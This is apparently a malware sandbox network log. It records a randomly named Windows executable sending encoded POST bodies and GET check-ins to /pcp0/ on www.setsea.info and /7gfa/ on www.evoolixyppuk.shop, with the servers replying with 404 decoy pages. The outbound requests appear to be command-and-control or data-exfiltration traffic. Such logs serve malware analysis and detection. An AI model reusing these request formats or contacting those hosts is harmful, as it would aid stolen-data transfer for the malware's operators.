Nov 6, 2024 15:25:44.806363106 CET	896	IN	HTTP/1.1 404 Not Found Date: Wed, 06 Nov 2024 14:25:44 GMT Server: Apache X-Frame-Options: SAMEORIGIN Content-Length: 690 X-XSS-Protection: 1; mode=block Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6e 6f 72 6d 61 6c 69 7a 65 2f 35 2e 30 2e 30 2f 6e 6f 72 6d 61 6c 69 7a 65 2e 6d 69 6e 2e 63 73 73 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 34 30 34 73 74 79 6c 65 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 6e 6f 69 73 65 22 3e 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 6f 76 65 72 6c 61 79 22 3e 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 74 65 72 6d 69 6e 61 6c [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en" ><head> <meta charset="UTF-8"> <title>404 Not Found</title> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/normalize/5.0.0/normalize.min.css"><link rel="stylesheet" href="/404style.css"></head><body><div class="noise"></div><div class="overlay"></div><div class="terminal"> <h1>Error <span class="errorcode">404</span></h1> <p class="output">The page you are looking for might have been removed, had its name changed or is temporarily unavailable.</p> <p class="output">Please try to <a href="#1">go back</a> or <a href="/">return to the homepage</a>.</p> <p class="output">Good luck.</p></div> </body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.9	49739	203.161.41.204	80	4044	C:\Program Files (x86)\UAUsPauzhBCPmnQHRbfJmboKKZfWTdRJclEMcORpTjTnRmzpWZm\vuEbrnedVG.exe

Timestamp	Bytes transferred	Direction	Data
Nov 6, 2024 15:25:46.670495033 CET	768	OUT	POST /pcp0/ HTTP/1.1 Host: www.setsea.info Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-us Accept-Encoding: gzip, deflate Connection: close Content-Length: 215 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Origin: http://www.setsea.info Referer: http://www.setsea.info/pcp0/ User-Agent: Mozilla/5.0 (Windows; U; Windows 95) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.94 Safari/535.1 Data Raw: 70 50 3d 67 54 66 6a 52 45 37 4e 47 55 66 55 65 78 46 31 47 74 62 38 51 6e 64 62 79 49 6c 57 55 54 4e 52 6e 6b 4f 42 68 68 58 67 63 33 6c 6c 50 58 30 6f 38 53 41 35 4c 65 43 30 75 49 4b 39 30 38 42 37 64 6c 51 49 71 4d 6c 71 6b 65 7a 75 69 59 71 6d 6b 64 42 6c 6c 4f 48 46 4b 59 39 38 4a 2b 71 65 4f 56 70 79 6a 66 71 36 4a 42 35 4f 38 5a 31 71 34 41 72 53 45 6c 6c 51 42 73 2f 36 46 74 34 5a 46 36 78 31 42 38 6f 4b 53 41 58 4a 6b 4d 73 5a 67 63 67 4d 47 49 42 52 6b 64 6b 77 72 48 59 49 49 37 4e 38 53 30 70 61 70 37 75 5a 38 5a 4b 4b 38 75 39 6d 53 63 36 4f 49 44 2f 6b 65 4a 46 50 53 35 36 63 54 66 30 36 72 4d 7a 42 61 6f 31 75 31 77 3d 3d Data Ascii: pP=gTfjRE7NGUfUexF1Gtb8QndbyIlWUTNRnkOBhhXgc3llPX0o8SA5LeC0uIK908B7dlQIqMlqkezuiYqmkdBllOHFKY98J+qeOVpyjfq6JB5O8Z1q4ArSEllQBs/6Ft4ZF6x1B8oKSAXJkMsZgcgMGIBRkdkwrHYII7N8S0pap7uZ8ZKK8u9mSc6OID/keJFPS56cTf06rMzBao1u1w==
Nov 6, 2024 15:25:47.425904989 CET	896	IN	HTTP/1.1 404 Not Found Date: Wed, 06 Nov 2024 14:25:47 GMT Server: Apache X-Frame-Options: SAMEORIGIN Content-Length: 690 X-XSS-Protection: 1; mode=block Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6e 6f 72 6d 61 6c 69 7a 65 2f 35 2e 30 2e 30 2f 6e 6f 72 6d 61 6c 69 7a 65 2e 6d 69 6e 2e 63 73 73 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 34 30 34 73 74 79 6c 65 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 6e 6f 69 73 65 22 3e 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 6f 76 65 72 6c 61 79 22 3e 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 74 65 72 6d 69 6e 61 6c [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en" ><head> <meta charset="UTF-8"> <title>404 Not Found</title> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/normalize/5.0.0/normalize.min.css"><link rel="stylesheet" href="/404style.css"></head><body><div class="noise"></div><div class="overlay"></div><div class="terminal"> <h1>Error <span class="errorcode">404</span></h1> <p class="output">The page you are looking for might have been removed, had its name changed or is temporarily unavailable.</p> <p class="output">Please try to <a href="#1">go back</a> or <a href="/">return to the homepage</a>.</p> <p class="output">Good luck.</p></div> </body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.9	49740	203.161.41.204	80	4044	C:\Program Files (x86)\UAUsPauzhBCPmnQHRbfJmboKKZfWTdRJclEMcORpTjTnRmzpWZm\vuEbrnedVG.exe

Timestamp	Bytes transferred	Direction	Data
Nov 6, 2024 15:25:49.217700958 CET	1781	OUT	POST /pcp0/ HTTP/1.1 Host: www.setsea.info Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-us Accept-Encoding: gzip, deflate Connection: close Content-Length: 1227 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Origin: http://www.setsea.info Referer: http://www.setsea.info/pcp0/ User-Agent: Mozilla/5.0 (Windows; U; Windows 95) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.94 Safari/535.1 Data Raw: 70 50 3d 67 54 66 6a 52 45 37 4e 47 55 66 55 65 78 46 31 47 74 62 38 51 6e 64 62 79 49 6c 57 55 54 4e 52 6e 6b 4f 42 68 68 58 67 63 30 46 6c 4d 68 67 6f 39 78 59 35 4b 65 43 30 6d 6f 4b 47 30 38 42 63 64 6c 59 4d 71 4d 70 63 6b 63 37 75 6b 39 2b 6d 68 76 70 6c 71 4f 48 46 44 34 39 35 47 65 72 61 4f 56 34 31 6a 66 36 36 4a 42 35 4f 38 61 64 71 75 68 72 53 47 6c 6c 54 49 4d 2f 75 55 39 35 4d 46 36 49 4e 42 38 38 77 54 77 33 4a 6a 74 51 5a 69 71 30 4d 50 49 42 70 6c 64 6c 74 72 48 45 54 49 2f 55 46 53 33 31 6b 70 37 6d 5a 2b 66 37 51 73 61 39 38 42 76 76 2b 4f 42 6e 39 66 75 4e 66 62 61 6e 6a 43 4b 73 39 38 66 4b 7a 4d 4d 63 61 6c 44 6c 6b 46 32 58 53 79 32 4f 46 6e 30 59 4e 35 6f 66 71 71 70 44 66 53 4f 36 53 5a 45 6c 43 63 4c 32 62 33 6f 4a 69 68 59 75 6f 62 56 30 39 34 62 52 62 6a 47 6f 63 4d 4f 46 2f 73 54 36 6d 56 50 38 72 69 4f 53 50 79 32 57 4d 35 35 6b 66 75 4b 48 77 2b 41 4b 33 4a 33 4c 35 6b 58 76 62 74 4c 71 48 79 70 2f 63 63 68 36 4d 32 4a 5a 43 4c 54 44 73 39 70 33 71 45 73 34 31 66 71 54 [TRUNCATED] Data Ascii: pP=gTfjRE7NGUfUexF1Gtb8QndbyIlWUTNRnkOBhhXgc0FlMhgo9xY5KeC0moKG08BcdlYMqMpckc7uk9+mhvplqOHFD495GeraOV41jf66JB5O8adquhrSGllTIM/uU95MF6INB88wTw3JjtQZiq0MPIBpldltrHETI/UFS31kp7mZ+f7Qsa98Bvv+OBn9fuNfbanjCKs98fKzMMcalDlkF2XSy2OFn0YN5ofqqpDfSO6SZElCcL2b3oJihYuobV094bRbjGocMOF/sT6mVP8riOSPy2WM55kfuKHw+AK3J3L5kXvbtLqHyp/cch6M2JZCLTDs9p3qEs41fqTaww3hMcKLbqd0cd/rC1k0V22LS1Hjm7yl9YMANyHEUWKK56gm62USv+CvqmRttKxuCOpVmmYkSJVWxiM4LbGkxbc2QtF/dBuqVThkNw73cg/r7arfScQccxLa4egOI5ggC7tb2ukzAWnXLgyTS8GVGKANpUBCbRyJmYgnz2qbfNue8f+UbMVouyVmc9U7WuF0C4rNvuHGHpsLwn8bijICHfpJMEDnlS4xyahp0xOYmdK1im/CRQxB8zpyiUt8K5PH6NWWHWhUL9jYkpMiy5XYJWhaBMKdxrhK7Zjr7fkO1bzLP0+ufesJ0uWMT18V/JVIxPRaLSEKyUGVTpL3+GNrvBq31GOFUuCHBQsGYt5T03+0CWysmuYHCMkEkeWCvTuj2ArwZ5h9/nCSXM67H8Jimq3Zzf5BCErNSQKghrRvK7OLpI3+PEpcXND3j2Mrrr04eNBBUyshwoZjt769Fm9ScamUjPQzSgU8a8VSYWbKesKONEpw3rbIYLp/KMB8mCx/bLRRmUSnD+aGiaAxF8VvL5vduAS59Pf2xlvtxzhChAQr5OHqqL17xoW0MTcmtftibN2hPdYcsdgUW+hXp/mfKDqe4w0XdG9Un9zV2LwKV7RUdk+Zd19bt7lZ+Wvd3bc9lWajVEl3da4QheEFMvD1eT8IqhMnddzQe [TRUNCATED]
Nov 6, 2024 15:25:49.917948008 CET	896	IN	HTTP/1.1 404 Not Found Date: Wed, 06 Nov 2024 14:25:49 GMT Server: Apache X-Frame-Options: SAMEORIGIN Content-Length: 690 X-XSS-Protection: 1; mode=block Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6e 6f 72 6d 61 6c 69 7a 65 2f 35 2e 30 2e 30 2f 6e 6f 72 6d 61 6c 69 7a 65 2e 6d 69 6e 2e 63 73 73 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 34 30 34 73 74 79 6c 65 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 6e 6f 69 73 65 22 3e 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 6f 76 65 72 6c 61 79 22 3e 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 74 65 72 6d 69 6e 61 6c [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en" ><head> <meta charset="UTF-8"> <title>404 Not Found</title> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/normalize/5.0.0/normalize.min.css"><link rel="stylesheet" href="/404style.css"></head><body><div class="noise"></div><div class="overlay"></div><div class="terminal"> <h1>Error <span class="errorcode">404</span></h1> <p class="output">The page you are looking for might have been removed, had its name changed or is temporarily unavailable.</p> <p class="output">Please try to <a href="#1">go back</a> or <a href="/">return to the homepage</a>.</p> <p class="output">Good luck.</p></div> </body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.9	49741	203.161.41.204	80	4044	C:\Program Files (x86)\UAUsPauzhBCPmnQHRbfJmboKKZfWTdRJclEMcORpTjTnRmzpWZm\vuEbrnedVG.exe

Timestamp	Bytes transferred	Direction	Data
Nov 6, 2024 15:25:51.757986069 CET	487	OUT	GET /pcp0/?pP=tR3DS0LuS2f0VExVH8LaK1w46Ipgay9n7W+aiVaSP0dZAAQPwCM3dLWh9pnT07p7OFwQxfFg5dTV9LShhKhHjPzJDtJzWpeBHCcw/sC6fH5hlbdNsw==&UJO=A6MH4FUp HTTP/1.1 Host: www.setsea.info Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-us Connection: close User-Agent: Mozilla/5.0 (Windows; U; Windows 95) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.94 Safari/535.1
Nov 6, 2024 15:25:52.475783110 CET	911	IN	HTTP/1.1 404 Not Found Date: Wed, 06 Nov 2024 14:25:52 GMT Server: Apache X-Frame-Options: SAMEORIGIN Content-Length: 690 X-XSS-Protection: 1; mode=block Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6e 6f 72 6d 61 6c 69 7a 65 2f 35 2e 30 2e 30 2f 6e 6f 72 6d 61 6c 69 7a 65 2e 6d 69 6e 2e 63 73 73 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 34 30 34 73 74 79 6c 65 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 6e 6f 69 73 65 22 3e 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 6f 76 65 72 6c 61 79 22 3e 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 74 65 72 6d 69 6e 61 6c [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en" ><head> <meta charset="UTF-8"> <title>404 Not Found</title> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/normalize/5.0.0/normalize.min.css"><link rel="stylesheet" href="/404style.css"></head><body><div class="noise"></div><div class="overlay"></div><div class="terminal"> <h1>Error <span class="errorcode">404</span></h1> <p class="output">The page you are looking for might have been removed, had its name changed or is temporarily unavailable.</p> <p class="output">Please try to <a href="#1">go back</a> or <a href="/">return to the homepage</a>.</p> <p class="output">Good luck.</p></div> </body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.9	49742	188.114.96.3	80	4044	C:\Program Files (x86)\UAUsPauzhBCPmnQHRbfJmboKKZfWTdRJclEMcORpTjTnRmzpWZm\vuEbrnedVG.exe

Timestamp	Bytes transferred	Direction	Data
Nov 6, 2024 15:25:57.569394112 CET	762	OUT	POST /7gfa/ HTTP/1.1 Host: www.evoolixyppuk.shop Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-us Accept-Encoding: gzip, deflate Connection: close Content-Length: 191 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Origin: http://www.evoolixyppuk.shop Referer: http://www.evoolixyppuk.shop/7gfa/ User-Agent: Mozilla/5.0 (Windows; U; Windows 95) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.94 Safari/535.1 Data Raw: 70 50 3d 44 41 58 74 70 7a 75 6c 4b 70 51 69 59 32 70 6d 4c 41 6a 31 2b 43 4e 6a 52 54 6b 42 30 44 49 73 73 36 46 79 76 47 51 34 43 39 76 31 75 4a 50 50 68 4f 4d 76 35 56 6d 2f 35 73 48 54 57 76 66 48 6a 64 38 73 52 63 72 36 73 49 45 62 61 65 51 49 61 2b 35 75 57 76 30 42 36 67 34 72 68 47 51 4b 53 6d 44 44 4e 6f 6d 73 2f 51 56 2b 34 67 7a 59 44 4f 30 6b 61 48 63 77 46 38 7a 5a 4f 65 2f 53 5a 54 4d 67 49 4f 79 48 63 30 57 57 58 30 62 6e 72 2f 42 42 31 35 71 65 55 46 57 77 72 63 68 6e 4b 79 38 32 51 59 62 56 61 42 76 67 49 41 7a 45 67 69 30 78 53 36 56 6f 57 4c 75 42 Data Ascii: pP=DAXtpzulKpQiY2pmLAj1+CNjRTkB0DIss6FyvGQ4C9v1uJPPhOMv5Vm/5sHTWvfHjd8sRcr6sIEbaeQIa+5uWv0B6g4rhGQKSmDDNoms/QV+4gzYDO0kaHcwF8zZOe/SZTMgIOyHc0WWX0bnr/BB15qeUFWwrchnKy82QYbVaBvgIAzEgi0xS6VoWLuB
Nov 6, 2024 15:25:58.519217014 CET	1236	IN	HTTP/1.1 404 Not Found Date: Wed, 06 Nov 2024 14:25:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.evooli.com/wp-json/>; rel="https://api.w.org/" cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=OfJMgMQmsHX8z2OjuNhNV5XcdySVkl09TVEGo%2BXKKnSeA%2F5rHKC6mw59btvSNqzoSERy4s4zzNkNt7oZsSHr%2Fsc5RuprpGXTN6ZcjECE285B0oVD38PzCp0LqBX2QSBoaykAgckvkSQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8de5c181ea498d26-DFW Content-Encoding: gzip alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1385&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=762&delivery_rate=0&cwnd=239&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 31 32 62 31 0d 0a 1f 8b 08 00 00 00 00 00 00 03 c4 3b db 72 1b 37 96 cf 62 95 ff e1 b8 53 0e a5 84 dd 4d 4a f2 8d 22 39 f1 45 49 5c b1 e3 6c e4 99 cc 94 d7 e5 02 bb c1 26 44 34 d0 01 d0 94 28 47 cf fb 13 5b a5 c7 d4 be 45 2f 79 f2 d3 8a fe af ad 03 74 93 4d 4a 94 94 1d ce 84 55 b6 9a c0 c1 c1 b9 e1 dc 1a ec dc 7d fe fa d9 9b 7f fc b0 0f 43 93 f2 5e ad 83 7f 80 13 91 74 3d a3 fc 37 3f 7a bd 5a e7 ae ef 77 ee be a5 22 66 83 77 be 8f 40 94 c4 6e 1c 5e 51 43 e0 0d 49 34 d8 99 14 bf 46 43 a2 34 35 5d 2f 37 03 ff 91 57 0e 0b 92 d2 ae 87 b8 73 92 50 0f 22 29 0c 15 a6 dc 08 c2 45 c0 44 ca 84 57 c1 84 34 8a 08 cd 89 a1 15 e0 a1 31 99 4f 7f ce d9 b8 eb fd dd ff eb 13 ff 99 4c 33 62 58 7f 61 ed 8b fd 2e 8d 13 7a 69 93 31 Data Ascii: 12b1;r7bSMJ"9EI\l&D4(G[E/ytMJU}C^t=7?zZw"fw@n^QCI4FC45]/7WsP")EDW41OL3bXa.zi1
Nov 6, 2024 15:25:58.519237041 CET	1236	IN	Data Raw: a3 47 99 54 a6 02 7a c4 62 33 ec c6 74 cc 22 ea db 2f 0d 60 82 19 46 b8 af 23 c2 69 b7 d5 80 94 1c b3 34 4f cb 01 8b b7 d6 31 cc 70 da 3b 20 93 01 81 7e ce 73 41 52 12 4f cf 01 1e 7e 33 20 f0 24 cd 3a a1 03 a9 75 38 13 23 50 94 77 bd 4c c9 01 43 Data Ascii: GTzb3t"/`F#i4O1p; ~sARO~3 $:u8#PwLCbaYHUz(r,\,n6N{_\M/<iJu8I&f^'tk)0v=CMxHz( 8WP/8::XJH+S&BaVo6ox%U\|L
Nov 6, 2024 15:25:58.519258976 CET	424	IN	Data Raw: 0b 95 29 bd d2 69 fa 8e 6d 3f 92 69 10 c5 22 20 69 96 29 89 e9 8b 3d 9c 51 a8 2f 39 57 af 77 39 38 7c fe d9 a3 ed 56 6b 6f 31 44 cc 06 2f 05 8a 4e 48 7a 9d 30 66 63 47 7b c1 00 99 93 6f ed e5 5f 41 7a 87 a5 09 68 15 75 3d 74 ae 6d 2b d8 50 8f 13 Data Ascii: )im?i" i)=Q/9Ww98\|Vko1D/NHz0fcG{o_Azhu=tm+P~{;8<N][crcn7MnbTw{{;,C{>fWVcA\AJ?dqLW{Q>+mFX8cFzV5\|71*c6zwj)5Cw=
Nov 6, 2024 15:25:58.519341946 CET	1236	IN	Data Raw: 27 82 68 6c e0 38 67 c6 99 cd 59 97 98 69 6d df cc 8d 21 c7 52 c8 74 72 05 3f c4 d0 44 aa ea 4c 6b 7b 8d 3c 84 4a 8e a8 71 39 67 e8 f5 7e 2c bf 5d c7 d1 c3 35 33 f4 70 9d fc 58 1f e8 63 62 62 19 72 41 0a bf 5e c7 d1 a3 35 73 f4 68 9d 1c 0d 63 df Data Ascii: 'hl8gYim!Rtr?DLk{<Jq9g~,]53pXcbbrA^5shc1\|Z[n[NNLF^\\|Tkynv>-czf?:j[Gur3P3~VZZN834<ahg\|!I2u62KX5285L3
Nov 6, 2024 15:25:58.519354105 CET	1236	IN	Data Raw: 33 f0 e6 e2 63 8a 14 70 a2 a6 e7 70 40 46 7c 7a 8e 29 42 80 21 e6 d2 db 97 82 03 45 63 66 b4 d7 eb 64 45 13 14 5f f9 a4 ec 04 6c db 8d 4d 68 3d a6 45 84 b5 69 cf c5 af 72 04 d9 0c 52 e3 35 30 81 f9 01 33 d8 5f 18 53 18 e5 9c 13 31 3d 8f a6 e7 10 Data Ascii: 3cpp@F\|z)B!EcfdE_lMh=EirR503_S1=Kmr-}:#cLr.]\|,]]\|1fAOrT{,4{QdN@rPD91)WVL@mXRh%gi$(2jR)hWs%NSv6t*
Nov 6, 2024 15:25:58.519367933 CET	426	IN	Data Raw: d4 6f f0 18 4c bf b7 b8 57 a3 9e bb 74 f0 5e bc fa c6 bb 01 9f 35 f2 3f 4e a9 5d 76 1b 62 2d e0 2d a9 75 f1 e7 7a 9c ee ac bd c7 c3 76 4b a2 67 a6 b0 59 5f 4a 26 90 fe 9b d5 58 9c e9 2f bb 85 56 cb 03 86 15 f8 d5 e2 ac ac 70 e2 bd 6e c9 25 e7 f1 Data Ascii: oLWt^5?N]vb--uzvKgY_J&X/Vpn%elj,-c1o?gnkm^ttVArKA`gnK=v!>^T6]%C4d<r}+)oP<l%6`@,l~/2\|

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.9	49743	188.114.96.3	80	4044	C:\Program Files (x86)\UAUsPauzhBCPmnQHRbfJmboKKZfWTdRJclEMcORpTjTnRmzpWZm\vuEbrnedVG.exe

Timestamp	Bytes transferred	Direction	Data
Nov 6, 2024 15:26:00.118839025 CET	786	OUT	POST /7gfa/ HTTP/1.1 Host: www.evoolixyppuk.shop Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-us Accept-Encoding: gzip, deflate Connection: close Content-Length: 215 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Origin: http://www.evoolixyppuk.shop Referer: http://www.evoolixyppuk.shop/7gfa/ User-Agent: Mozilla/5.0 (Windows; U; Windows 95) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.94 Safari/535.1 Data Raw: 70 50 3d 44 41 58 74 70 7a 75 6c 4b 70 51 69 59 57 35 6d 4a 68 6a 31 72 79 4e 6b 66 7a 6b 42 2b 6a 49 53 73 36 4a 79 76 48 46 6c 43 76 4c 31 75 6f 2f 50 6d 4e 55 76 36 56 6d 2f 78 4d 48 57 49 66 66 4f 6a 64 67 4f 52 5a 54 36 73 49 41 62 61 61 55 49 5a 4a 4e 74 57 2f 30 44 38 67 34 74 72 6d 51 4b 53 6d 44 44 4e 6f 79 56 2f 51 4e 2b 34 51 44 59 43 71 6f 6a 46 33 63 7a 54 73 7a 5a 4b 65 2f 57 5a 54 4d 43 49 4d 47 74 63 79 53 57 58 31 4c 6e 6f 75 42 43 37 4a 72 58 62 6c 58 55 37 64 45 6f 4a 56 74 72 53 4c 50 77 63 54 76 54 4c 68 54 61 78 51 39 71 48 74 56 50 52 73 6e 70 5a 61 70 66 64 67 68 51 55 67 50 47 67 6b 33 4c 48 54 65 55 41 41 3d 3d Data Ascii: pP=DAXtpzulKpQiYW5mJhj1ryNkfzkB+jISs6JyvHFlCvL1uo/PmNUv6Vm/xMHWIffOjdgORZT6sIAbaaUIZJNtW/0D8g4trmQKSmDDNoyV/QN+4QDYCqojF3czTszZKe/WZTMCIMGtcySWX1LnouBC7JrXblXU7dEoJVtrSLPwcTvTLhTaxQ9qHtVPRsnpZapfdghQUgPGgk3LHTeUAA==
Nov 6, 2024 15:26:01.080662012 CET	1236	IN	HTTP/1.1 404 Not Found Date: Wed, 06 Nov 2024 14:26:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.evooli.com/wp-json/>; rel="https://api.w.org/" cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=lvulNfka09YSStK4Vh39HTFxHNEJnn48rNtBK98PBoUyp%2FWjlYjJeAU3y61BVmsvDrHlFc6KGhMDd89GoyDWRtSqrQm2KbVTobazEX%2F4upCOyLJ2xC%2B65h7KLd9d9klzR8KPfcR3I%2BI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8de5c1921d0a6ba6-DFW Content-Encoding: gzip alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1197&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=786&delivery_rate=0&cwnd=241&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 31 32 61 36 0d 0a 1f 8b 08 00 00 00 00 00 00 03 c4 3b db 72 1b 37 96 cf 62 95 ff e1 b8 53 0e a5 09 bb 9b 94 e4 4b 28 92 13 5f 94 8c 2b 76 9c 8d 3c b7 f2 ba 5c 60 37 d8 84 88 06 7a 00 34 25 ca a3 e7 fd 89 ad d2 63 6a df a2 97 3c f9 69 45 ff d7 d6 01 ba c9 26 29 4a ca 0e 67 86 55 b6 9a c0 c1 c1 b9 